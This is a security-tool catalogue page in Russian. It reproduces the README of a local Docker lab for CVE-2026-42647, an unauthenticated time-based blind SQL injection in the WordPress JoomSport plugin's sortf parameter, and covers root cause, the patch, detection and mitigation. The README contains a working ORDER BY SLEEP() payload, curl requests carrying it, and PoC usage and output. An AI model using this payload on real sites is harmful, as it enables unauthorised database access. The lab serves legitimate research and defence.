Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-42647-Lab | Kitploit
Инструменты/GitHubGitHub/rootdirective-sec/cve-2026-42647-lab
Анализ уязвимостейЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеЛаборатории и Практика
GitHubrootdirective-sec/cve-2026-42647-lab

CVE-2026-42647-Lab

Репозиторий
2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-42647 - JoomSport: неаутентифицированная time-based blind SQL-инъекция через sortf

Краткое описание

Этот репозиторий содержит локальную Docker-лабораторию для воспроизведения и проверки CVE-2026-42647 — уязвимости неаутентифицированной SQL-инъекции, затрагивающей плагин WordPress JoomSport - for Sports: Team & League, Football, Hockey & more.

Уязвимое поведение возникает в функции сортировки списка игроков. Публичный посетитель может контролировать параметр запроса sortf, который используется для построения SQL-выражения ORDER BY. В уязвимых версиях значение очищается как текст и заключается в обратные кавычки, но не проверяется по строгому белому списку перед добавлением в SQL-запрос.

Эта лаборатория сравнивает две версии JoomSport:

СервисВерсия JoomSportНазначениеURL
vuln5.7.6Уязвимая цель сравненияhttp://localhost:8081
patched5.7.8Исправленная цель сравненияhttp://localhost:8082

Официальные уведомления определяют версии до 5.7.8 как затронутые, а 5.7.8 — как исправленную версию. Эта лаборатория использует 5.7.6 в качестве уязвимой цели, поскольку тег исходного кода 5.7.7 отсутствовал в списке тегов SVN плагина WordPress.org на момент подготовки этой лаборатории.

Демонстрируемая цепочка уязвимости:```text Unauthenticated visitor → JoomSport season player list route → attacker-controlled sortf parameter → unsafe dynamic ORDER BY construction → SQL expression execution → measurable database delay in vulnerable version → patched version rejects the injected sort field and falls back to a safe allowlisted field

root@kitploit:~
Этот лабораторный стенд подтверждает уязвимость как слепую SQL-инъекцию на основе времени. Он не выполняет дамп базы данных, извлечение учётных данных, изменение данных или деструктивные SQL-операции.

Данный стенд предназначен только для контролируемого локального исследования, понимания на уровне исходного кода и демонстрации в портфолио.

## Проверенные факты

| Утверждение | Доказательство | Как проверить в этом стенде |
| ------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| Сообщается, что JoomSport до версии 5.7.8 уязвим к неаутентифицированной SQL-инъекции. | Публичные уведомления об уязвимостях относят JoomSport `< 5.7.8` / `<= 5.7.7` к затронутым версиям. | Изучите раздел References и сравните уязвимую и исправленную версии сервисов. |
| JoomSport 5.7.8 — это исправленная версия. | Публичные уведомления и сравнение исходного кода показывают, что в 5.7.8 значение `sortf` проверяется перед формированием выражения сортировки. | Изучите `class-jsport-playerlist.php` в обеих версиях. |
| Затронутый параметр — `sortf`. | Уязвимый код списка игроков считывает `classJsportRequest::get('sortf')`. | Запустите PoC и наблюдайте инъецированный запрос с параметром `sortf`. |
| Уязвимый код формирует динамическое значение сортировки SQL из пользовательского ввода. | В уязвимой версии `sortf` используется для построения `$options['ordering']`. | Изучите `sportleague/classes/objects/class-jsport-playerlist.php`. |
| SQL-sink — это выражение `ORDER BY`. | Сформированное значение `$ordering` позже добавляется в SQL-запрос с `ORDER BY`. | Изучите `sportleague/base/wordpress/classes/class-jsport-getplayers.php`. |
| Патч использует исправление в стиле белого списка (allowlist). | Исправленная версия вводит разрешённые статические столбцы и ожидаемые шаблоны динамических полей перед использованием поля сортировки. | Сравните исходный код JoomSport 5.7.6 и 5.7.8. |
| Стенд демонстрирует слепую SQL-инъекцию на основе времени. | Уязвимая цель отвечает с задержкой при использовании инъецированного выражения `SLEEP()`; исправленная цель — нет. | Выполните `python3 poc/poc.py http://localhost:8081 http://localhost:8082`. |

## Допущения и неизвестные

В данном стенде JoomSport 5.7.6 используется в качестве уязвимой цели для сравнения, поскольку публичная исправленная версия — 5.7.8, а тега исходного кода 5.7.7 не было в списке SVN-тегов плагина на WordPress.org на момент подготовки стенда.

Стенд не утверждает, что 5.7.6 — единственная уязвимая версия. Она используется как воспроизводимая уязвимая базовая версия для сравнения уязвимого поведения с поведением исправленной версии 5.7.8.

Стенд сосредоточен на параметре `sortf` в процессе сортировки списка игроков.

Демонстрируемое воздействие — слепая SQL-инъекция на основе времени. Стенд не демонстрирует:

* прямой дамп базы данных,
* извлечение учётных данных,
* обход аутентификации,
* повышение привилегий,
* произвольное изменение данных,
* удалённое выполнение кода,
* закрепление в системе (persistence),
* внешние обратные вызовы,
* или атаки на системы, не входящие в состав стенда.

Возможно проявление error-based или boolean-based поведения в зависимости от поведения базы данных, конфигурации приложения и различий в ответах, но данный стенд не опирается на эти методы. Основное доказательство основано на временных задержках (timing-based).

## Сводка о корневой причине

Корневая причина — небезопасное формирование динамического SQL-выражения `ORDER BY` из параметра запроса `sortf`.

Уязвимый путь выполнения кода начинается в:```text
sportleague/classes/objects/class-jsport-playerlist.php

В логике загрузки списка игроков JoomSport читает параметр запроса:```text sortf

root@kitploit:~
и использует его для создания:```text
$options['ordering']

Соответствующий шаблон уязвимого исходного кода:```php if (classJsportRequest::get('sortf')) { $typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC"; $options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD; }

root@kitploit:~
Проблема в первую очередь не в параметре `sortd`. Значение `sortd` ограничено:```text
ASC
DESC

Проблема в параметре sortf, поскольку он управляет позицией SQL-идентификатора/выражения, используемой для сортировки.

Опасное выражение:```php "".classJsportRequest::get('sortf').""

root@kitploit:~
Код помещает управляемые атакующим входные данные в контекст идентификатора MySQL и затем передаёт их как фрагмент SQL-сортировки.

Код применяет:```php
sanitize_text_field()

но sanitize_text_field() — это не проверка SQL-идентификаторов. Она предназначена для очистки текста, а не для безопасного построения SQL-синтаксиса.

Уязвимый код также оборачивает управляемое пользователем поле сортировки в обратные кавычки. Однако обратные кавычки не являются границей безопасности, когда атакующий может влиять на содержимое идентификатора. Если атакующий может внедрить обратную кавычку в значение, он сможет выйти за пределы предполагаемого контекста идентификатора.

Сгенерированное значение сортировки позже передаётся в запрос получения игрока и добавляется в SQL-предложение ORDER BY в:```text sportleague/base/wordpress/classes/class-jsport-getplayers.php

root@kitploit:~
Паттерн sink:```php
$query .= ' ORDER BY '.($ordering);

Это создаёт уязвимый поток данных:```text sortf request parameter → classJsportRequest::get('sortf') → $options['ordering'] → $ordering → ORDER BY

root@kitploit:~
Проблема безопасности заключается в том, что приложение обрабатывает управляемый пользователем параметр запроса как идентификатор/выражение SQL без предварительной проверки его по строгому списку разрешённых значений.

## Краткое описание патча

Соответствующий патч находится в:```text
sportleague/classes/objects/class-jsport-playerlist.php

В уязвимой версии код списка игроков строит $options['ordering'] напрямую из значения запроса:```php if (classJsportRequest::get('sortf')) { $typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC"; $options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD; }

root@kitploit:~
Уязвимая часть заключается в том, что `classJsportRequest::get('sortf')` используется внутри SQL-выражения сортировки.

JoomSport 5.7.8 меняет это поведение, вводя проверенную переменную поля сортировки перед построением `$options['ordering']`.

В исправленной версии инициализируется безопасное значение по умолчанию:```php
$sortFieldEsc = 'post_title';

Затем он определяет допустимые столбцы статической сортировки:```php $sortCols = array("played", "career_minutes", "post_title");

root@kitploit:~
Когда присутствует `sortf`, пропатченный код принимает его только в том случае, если он соответствует одному из ожидаемых статических значений:```php
if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
    $sortFieldEsc = classJsportRequest::get('sortf');
}

Патч также допускает ожидаемые динамические форматы полей event/stat:```php if (preg_match('/^eventid_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }

if (preg_match('/^ef_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }

root@kitploit:~
Последнее изменение, связанное с безопасностью, заключается в том, что `$options['ordering']` строится из `$sortFieldEsc` вместо необработанного значения запроса `sortf`:```diff
- $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+ $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;

Это не удаляет динамическую сортировку. Это изменяет границу доверия.

До патча:```text request sortf value directly controlled the ORDER BY identifier

root@kitploit:~
После патча:```text
request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern

Если злоумышленник отправляет неожиданное значение, например:```text post_title`DESC,(SLEEP(2))#

root@kitploit:~
исправленный код не присваивает это значение `$sortFieldEsc`.

Вместо этого поле сортировки возвращается к:```text
post_title

Именно поэтому уязвимый сервис задерживается, в то время как пропатченный сервис остаётся вблизи базового времени.

Урок безопасности из патча заключается в следующем:```text Dynamic SQL identifiers such as ORDER BY columns must be validated with strict allowlists. Text sanitization and backtick wrapping are not sufficient for SQL identifier safety.

root@kitploit:~
## Архитектура лаборатории

Лаборатория запускает две изолированные установки WordPress через Docker Compose.```text
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── scripts/
│   └── init-wordpress.sh
├── poc/
│   └── poc.py
├── README.md
└── .gitignore

Сервисы, доступные по умолчанию:

root@kitploit:~
Процесс настройки создаёт минимальные данные JoomSport, необходимые для отображения маршрута списка игроков:```text
joomsport_season
joomsport_team
joomsport_player
wp_joomsport_playerlist rows

Уязвимый и исправленный сервисы используют одинаковую структуру лабораторных данных, чтобы временное поведение можно было корректно сравнивать.

Требования

  • Docker Desktop или Docker Engine
  • Docker Compose v2
  • Python 3
  • Python-пакет requests для запуска PoC с хоста
  • Доступ в интернет во время сборки Docker-образа для загрузки зависимостей WordPress/JoomSport

При необходимости установите Python-зависимость на хосте:```bash python3 -m pip install requests

root@kitploit:~
## Быстрый старт

Запустите лабораторию:```bash
docker compose down -v --remove-orphans
docker compose up -d --build

Наблюдайте за контейнерами установки:```bash docker compose logs -f setup-vuln setup-patched

root@kitploit:~
Ожидаемые сообщения о завершении настройки:```text
[VULN] setup complete
[PATCHED] setup complete

Проверьте состояние контейнера:```bash docker compose ps

root@kitploit:~
Ожидаемые открытые сервисы:```text
http://localhost:8081
http://localhost:8082

Запустите PoC против уязвимой цели:```bash python3 poc/poc.py http://localhost:8081

root@kitploit:~
Запустите PoC против пропатченной цели:```bash
python3 poc/poc.py http://localhost:8082

Запустите PoC против обеих целей одной командой:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082

root@kitploit:~
Для более стабильной статистики времени увеличьте количество раундов:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5

Вы также можете настроить запрашиваемое время ожидания:```bash python3 poc/poc.py http://localhost:8081 --sleep 3 --rounds 5

root@kitploit:~
## Использование PoC

PoC проверяет каждую цель независимо.

Для него больше не требуются отдельные параметры `--vuln-url` или `--patched-url`. Вместо этого передайте один или несколько целевых URL-адресов в качестве позиционных аргументов:```bash
python3 poc/poc.py <target_url> [target_url...]

Примеры:```bash python3 poc/poc.py http://localhost:8081 python3 poc/poc.py http://localhost:8082 python3 poc/poc.py http://localhost:8081 http://localhost:8082

root@kitploit:~
Если целевой URL не указан, скрипт в интерактивном режиме запросит один или несколько локальных целевых URL-адресов.

Поддерживаемые параметры:```text
--season-id   Seeded JoomSport season post ID. Default: 4
--rounds      Number of requests per baseline/injected series. Default: 3
--sleep       SLEEP() seconds used in the timing payload. Default: 2

The PoC is intentionally local-scope. It accepts localhost-style targets such as:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082

root@kitploit:~
По умолчанию PoC отклоняет нелокальные цели.

## Как PoC принимает решение

Для каждой цели PoC выполняет две серии замеров времени:```text
[1/2] Baseline timing
[2/2] Injected timing

Базовый запрос использует обычное поле сортировки:```text sortf=post_title

root@kitploit:~
Внедрённый запрос использует локальную временную нагрузку в параметре `sortf`:```text
sortf=post_title`DESC,(SLEEP(2))#

PoC вычисляет:```text delta = injected median - baseline median

root@kitploit:~
| Вердикт           | Значение                                                     |
| ----------------- | ----------------------------------------------------------- |
| `VULNERABLE-LIKE` | Внедренный запрос значительно медленнее базового.           |
| `PATCHED-LIKE`    | Внедренный запрос остается близким к базовому.              |
| `UNREACHABLE`     | Цель недоступна.                                            |
| `INCONCLUSIVE`    | Некоторые данные о времени отсутствовали или были неполными.|

Правило принятия решения по умолчанию:```text
injected median - baseline median >= 60% of requested SLEEP()

Для значения по умолчанию --sleep 2 порог составляет:```text 1.200s median delta

root@kitploit:~
Это означает, что цель сообщается как `VULNERABLE-LIKE` только тогда, когда инъекционный запрос явно медленнее, чем её собственный базовый уровень.

Недостижимые или неопределённые цели не считаются исправленными.

## Ручное воспроизведение HTTP с curl

Вы можете воспроизвести проверку вручную, не используя Python PoC.

Уязвимый базовый запрос:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
  'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'

Уязвимый внедрённый запрос:```bash curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'

root@kitploit:~
Запрос исправленной базовой линии:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
  'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'

Патченный инъекционный запрос:```bash curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'

root@kitploit:~
Ожидаемое сравнение:```text
JoomSport 5.7.6 vulnerable -> injected request is significantly slower
JoomSport 5.7.8 patched    -> injected request stays near baseline timing

Ожидаемый вывод

Уязвимая цель

Команда:```bash python3 poc/poc.py http://localhost:8081

root@kitploit:~
Expected vulnerable signal:```text
CVE-2026-42647 JoomSport local timing validation
Scope     : localhost / Docker lab only
Technique : time-based blind SQL injection check in ORDER BY via sortf
Logic     : baseline timing vs injected timing per target

Targets           : 1
Rounds per series : 3
Requested SLEEP() : 2s
Decision threshold: 1.200s median delta

================================================================================================
Target: http://localhost:8081/
================================================================================================
Season post ID : 4
Baseline sortf : post_title
Injected sortf : post_title`DESC,(SLEEP(2))#

[1/2] Baseline timing
  run 01: status=200 time=0.092s bytes=75333
  run 02: status=200 time=0.044s bytes=75333
  run 03: status=200 time=0.046s bytes=75333
  summary   median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s
  summary   status=200x3 bytes=75333

[2/2] Injected timing
  run 01: status=200 time=6.050s bytes=75321
  run 02: status=200 time=6.058s bytes=75321
  run 03: status=200 time=6.095s bytes=75321
  summary   median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s
  summary   status=200x3 bytes=75321

Target decision
------------------------------------------------------------------------------------------------
Baseline median : 0.046s
Injected median : 6.058s
Delta           : 6.011s
Ratio           : 130.8x
Threshold       : 1.200s
Verdict         : VULNERABLE-LIKE

Interpretation  : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection.

Итоговая сводка по уязвимостям:```text Final summary

Target Base med Inj med Delta Ratio Verdict

http://localhost:8081/ 0.046s 6.058s 6.011s 130.8x VULNERABLE-LIKE

VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 0 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0

RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used.

root@kitploit:~
### Запатченная цель

Команда:```bash
python3 poc/poc.py http://localhost:8082

Ожидаемый пропатченный сигнал:```text Target decision

Baseline median : around normal baseline timing Injected median : around normal baseline timing Delta : below threshold Ratio : near 1.0x Threshold : 1.200s Verdict : PATCHED-LIKE

Interpretation : injected timing stays near baseline. This target behaves consistently with patched/fallback behavior.

root@kitploit:~
### Несколько целей

Команда:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082

Ожидаемый результат:```text VULNERABLE-LIKE targets: 1 PATCHED-LIKE targets : 1 UNREACHABLE targets : 0 INCONCLUSIVE targets : 0

RESULT: VULNERABLE BEHAVIOR OBSERVED At least one reachable target showed a reproducible timing delay when the injected sortf value was used.

root@kitploit:~
### Недоступная цель

Если цель не запущена, PoC должен сообщать `UNREACHABLE`, а не `PATCHED-LIKE`.

Пример:```bash
python3 poc/poc.py http://localhost:8083

Ожидаемое решение:```text Verdict : UNREACHABLE

Interpretation : the target could not be reached. No vulnerability decision was made for this target.

root@kitploit:~
Недоступные цели не считаются исправленными.

## Как работает PoC

PoC проверяет маршрут списка игроков JoomSport на наличие заранее созданного поста сезона.

Целевой маршрут эквивалентен:```text
GET /?post_type=joomsport_season&p=<SEASON_ID>&action=playerlist&sortf=<SORT_FIELD>&sortd=ASC

Базовый запрос использует:```text sortf=post_title

root@kitploit:~
Это должно обеспечить нормальную сортировку списка игроков.

Внедрённый запрос использует:```text
sortf=post_title`DESC,(SLEEP(2))#

Уязвимый код оборачивает sortf в обратные кавычки и добавляет направление сортировки. Внедрённое значение предназначено для выхода из предполагаемого контекста идентификатора и внедрения выражения, создающего задержку, в предложение ORDER BY.

Концептуально уязвимый фрагмент SQL становится похожим на:```sql ORDER BY post_title DESC, (SLEEP(2))

root@kitploit:~
Маркер комментария `#` не даёт завершающему обратному апострофу и направлению вмешиваться во внедрённое выражение.

Это не payload со стековыми запросами. Он не внедряет:```sql
; SELECT SLEEP(2);

Вместо этого он внедряет SQL-выражение в существующий контекст ORDER BY.

Патченная версия не выполняет внедрённое выражение, поскольку значение sortf проверяется на соответствие разрешённым полям сортировки и возвращается к post_title, когда значение неожиданное.

Impact

Эта лабораторная работа демонстрирует неаутентифицированную time-based blind SQL-инъекцию в параметре sortf списка игроков JoomSport.

Уязвимая версия выполняет внедрённое SQL-выражение, вызывающее временную задержку, через конструкцию ORDER BY, что приводит к заметной задержке ответа. Патченная версия не вызывает задержку, поскольку внедрённое поле сортировки отклоняется и заменяется безопасным значением из белого списка.

Лабораторная работа подтверждает только выполнение SQL, основанное на времени. Она не демонстрирует извлечение данных, модификацию данных, обход аутентификации, повышение привилегий или удалённое выполнение кода.

Detection and Monitoring

Потенциальные индикаторы включают прямые запросы к маршрутам списка игроков JoomSport с необычными значениями sortf.

Пример подозрительного шаблона запроса:```text GET /?post_type=joomsport_season&p=&action=playerlist&sortf=<unexpected_value>&sortd=ASC

root@kitploit:~
Подозрительные характеристики `sortf`:```text
backticks
parentheses
commas
SQL comments
SLEEP
IF
CASE
BENCHMARK
unexpected function-like strings

Пример запроса локальной лаборатории:```text sortf=post_title`DESC,(SLEEP(2))#

root@kitploit:~
Ожидаемый сигнал уязвимости:```text
HTTP 200 response with significant timing delay

Ожидаемый пропатченный сигнал:```text HTTP 200 response without significant timing delay

root@kitploit:~
Возможные идеи для мониторинга продакшн-среды:

* Просматривайте журналы веб-доступа на предмет необычных значений `sortf`.
* Создавайте оповещения о ключевых словах SQL или маркерах комментариев внутри параметров сортировки.
* Отслеживайте повторяющиеся запросы к маршрутам списка игроков JoomSport с небольшими изменениями параметров.
* Отслеживайте медленные запросы к базе данных, затрагивающие таблицы списка игроков JoomSport.
* Сопоставляйте медленные запросы с публичным неаутентифицированным трафиком.
* Проверяйте, установлен ли JoomSport и является ли его версия старее 5.7.8.

## Рекомендации по смягчению последствий и примечания к патчу

Обновите JoomSport до версии 5.7.8 или более поздней.

Исправленная версия ограничивает параметр `sortf` ожидаемыми полями сортировки и шаблонами динамических полей. Неожиданные значения возвращаются к безопасному полю сортировки по умолчанию.

Рекомендации по смягчению последствий на уровне приложения:

* Обновите плагин JoomSport.
* Не публикуйте устаревшие версии плагинов на общедоступных сайтах WordPress.
* Просматривайте журналы веб-доступа на предмет подозрительных параметров `sortf`.
* Отключайте или ограничивайте затронутый функционал только в качестве временной меры, если немедленное обновление невозможно.
* Используйте правило межсетевого экрана веб-приложения в качестве временного слоя, а не замены установки патчей.
* Относитесь к динамическим идентификаторам SQL иначе, чем к обычным значениям: используйте белые списки для имён столбцов, имён таблиц, направлений сортировки и аналогичных компонентов синтаксиса SQL.

Самый важный механизм контроля — это белый список. Экранирования само по себе недостаточно для полного исправления динамических идентификаторов SQL.

## Полезные команды для проверки

Проверьте запущенные контейнеры:```bash
docker compose ps

Смотреть журналы настройки:```bash docker compose logs -f setup-vuln setup-patched

root@kitploit:~
Проверьте службы WordPress:```bash
curl -I http://localhost:8081
curl -I http://localhost:8082

Запустите PoC против уязвимого сервиса:```bash python3 poc/poc.py http://localhost:8081

root@kitploit:~
Запустите PoC против пропатченного сервиса:```bash
python3 poc/poc.py http://localhost:8082

Запустите PoC против обоих сервисов:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082

root@kitploit:~
Запустите PoC с большим количеством раундов:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5

Сохранить доказательства:```bash mkdir -p evidence

python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
| tee evidence/timing-validation.txt

docker compose ps
| tee evidence/docker-compose-ps.txt

docker compose logs vuln patched setup-vuln setup-patched \

evidence/docker-compose-logs.txt

root@kitploit:~
Проверка версий плагинов внутри WordPress:```bash
docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html
docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html

Проверьте уязвимый исходный код:```bash docker compose exec -T vuln sh -lc
"grep -R "sortf\|ordering" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"

root@kitploit:~
Проверьте пропатченный исходный код:```bash
docker compose exec -T patched sh -lc \
  "grep -R \"sortf\\|sortFieldEsc\\|sortCols\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"

Проверить SQL-приёмник:```bash docker compose exec -T vuln sh -lc
"grep -R "ORDER BY" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-getplayers.php"

root@kitploit:~
## Очистка

Остановите и удалите контейнеры и сети:```bash
docker compose down --remove-orphans

Удалите контейнеры, сети и тома:```bash docker compose down -v --remove-orphans

root@kitploit:~
Удалите файлы улик, если они были созданы:```bash
rm -rf evidence/

Границы безопасности

Эта лаборатория предназначена только для локальных исследований в области безопасности и контролируемых демонстраций.

Не запускайте PoC или пейлоады против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.

Не используйте в этой лаборатории реальные учётные данные, секреты продакшена или внешние цели.

PoC намеренно ограничен локальными Docker-сервисами, такими как:```text http://localhost:8081 http://localhost:8082 http://127.0.0.1:8081 http://127.0.0.1:8082

root@kitploit:~
PoC не включает полезных нагрузок для дампа баз данных, кражи учетных данных, изменения данных, закрепления, латерального перемещения или внешних обратных вызовов.

Цель — продемонстрировать одно конкретное техническое условие в контролируемой среде:```text
unauthenticated request
+ player list route
+ attacker-controlled sortf
+ vulnerable ORDER BY construction
+ timing delay in vulnerable version
+ no timing delay in patched version

Ссылки

  • Уведомление Wordfence: JoomSport <= 5.7.7 - Неаутентифицированная SQL-инъекция через параметр sortf https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-577-unauthenticated-sql-injection-via-sortf-parameter

  • Уведомление Wordfence: JoomSport — для спорта: команды и лиги, футбол, хоккей и другое <= 5.7.7 — Неаутентифицированная SQL-инъекция https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-for-sports-team-league-football-hockey-more-577-unauthenticated-sql-injection

  • База данных уязвимостей плагинов WPScan: JoomSport https://wpscan.com/plugin/joomsport-sports-league-results-management/

  • Плагин WordPress.org: JoomSport — для спорта: команды и лиги, футбол, хоккей и другое https://wordpress.org/plugins/joomsport-sports-league-results-management/

  • SVN плагина WordPress.org https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/

  • Теги SVN плагина WordPress.org https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/tags/

  • Руководство OWASP по тестированию веб-безопасности: Тестирование на SQL-инъекции https://owasp.org/www-project-web-security-testing-guide/

  • Серия шпаргалок OWASP: Предотвращение SQL-инъекций https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html

Скачать инструмент
СервисКомпонентВерсия / Роль
vulnWordPress + JoomSportJoomSport 5.7.6
patchedWordPress + JoomSportJoomSport 5.7.8
db-vulnMariaDBбаза данных для уязвимой цели
db-patchedMariaDBбаза данных для пропатченной цели
setup-vulnWP-CLI init serviceустанавливает WordPress и наполняет уязвимую цель
setup-patchedWP-CLI init serviceустанавливает WordPress и наполняет пропатченную цель
Vulnerable target: http://localhost:8081
Patched target: http://localhost:8082